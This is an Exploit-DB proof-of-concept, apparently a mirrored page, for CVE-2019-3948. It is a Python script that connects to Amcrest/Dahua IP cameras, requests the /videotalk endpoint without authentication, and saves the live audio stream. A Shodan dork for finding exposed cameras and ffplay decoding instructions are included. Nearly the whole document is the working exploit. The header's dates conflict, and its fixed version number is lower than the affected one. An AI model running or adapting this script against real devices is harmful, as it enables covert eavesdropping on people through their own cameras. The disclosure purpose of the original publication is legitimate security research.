Amcrest Cameras 2.520.AC00.18.R – Unauthenticated Audio Streaming

  • 作者: Jacob Baines
    日期: 2019-07-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47188/
  • ##
    # Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera
    # Shodan Dork: html:"@WebVersion@"
    # Date: 08/29/2019
    # Exploit Author: Jacob Baines
    # Vendor Homepage: https://amcrest.com/
    # Software Link: https://amcrest.com/firmwaredownloads
    # Affected Version: V2.520.AC00.18.R
    # Fixed Version: V2.420.AC00.18.R
    # Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.
    # CVE : CVE-2019-3948
    # Disclosure: https://www.tenable.com/security/research/tra-2019-36
    # Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt
    #
    # To decode the scripts output using ffplay use:
    # 	ffplay -f alaw -ar 8k -ac 1 [poc output]
    # Note that this assumes the camera is using the default encoding options.
    ##
    import argparse
    import socket
    import struct
    import sys
    
    ##
    # Read in the specified amount of data. Continuing looping until we get it all...
    # what could go wrong?
    #
    # @return the data we read in
    ##
    def recv_all(sock, amount):
    	data = ''
    	while len(data) != amount:
    		temp_data = sock.recv(amount - len(data))
    		data = data + temp_data
    
    	return data
    
    top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')
    top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
    top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")
    top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")
    top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")
    args = top_parser.parse_args()
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setblocking(True)
    
    print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
    sock.connect((args.ip, args.port))
    print "[+] Connected!"
    
    request = ('GET /videotalk HTTP/1.1\r\n' +
    	 'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +
    	 'Range: bytes=0-\r\n' +
    	 '\r\n')
    sock.sendall(request)
    
    status = ''
    header = ''
    
    # read in the HTTP response. Store the status.
    while (header != '\r\n'):
    	header = header + sock.recv(1);
    	if (header.find('\r\n') > 0):
    		header = header.strip()
    		if (len(status) == 0):
    			status = header
    		header = ''
    
    if (status.find('200 OK') == -1):
    	print '[-] Bad HTTP status. We received: "' + status + '"'
    	sock.close()
    	exit()
    else:
    	print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'
    
    total_audio = ''
    while (len(total_audio) < args.bytes):
    
    	# read in the header length
    	header_length = recv_all(sock, 4)
    	hlength = struct.unpack("I", header_length)[0]
    	if (hlength != 36):
    		print '[-] Unexpected header length'
    		sock.close()
    		exit()
    
    	# read in the header and extract the payload length
    	header = recv_all(sock, hlength)
    	plength = struct.unpack_from(">H", header)[0]
    	if (plength != 368):
    		print '[-] Unexpected payload length'
    		sock.close()
    		exit()
    
    	# there is a seq no in the header but since this is over
    	# tcp is sort of useless.
    
    	dhav = header[2:6]
    	if (dhav != "DHAV"):
    		print '[-] Invalid header'
    		exit(0)
    
    	# extract the audio. I'm really not sure what the first 6 bytes are
    	# but the last 8 serve as a type of trailer
    	whatami = recv_all(sock, 6)
    	audio = recv_all(sock, plength - hlength - 12)
    	trailer = recv_all(sock, 8)
    
    	if (trailer != 'dhavp\x01\x00\x00'):
    		print '[-] Invalid end of frame'
    		sock.close()
    		exit()
    
    	total_audio = total_audio + audio
    	sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))
    	sys.stdout.flush()
    
    print ''
    print '[+] Finished receiving audio.'
    print '[+] Closing socket'
    
    out_file = open(args.output, 'wb')
    out_file.write(total_audio)
    out_file.close()
    
    sock.close()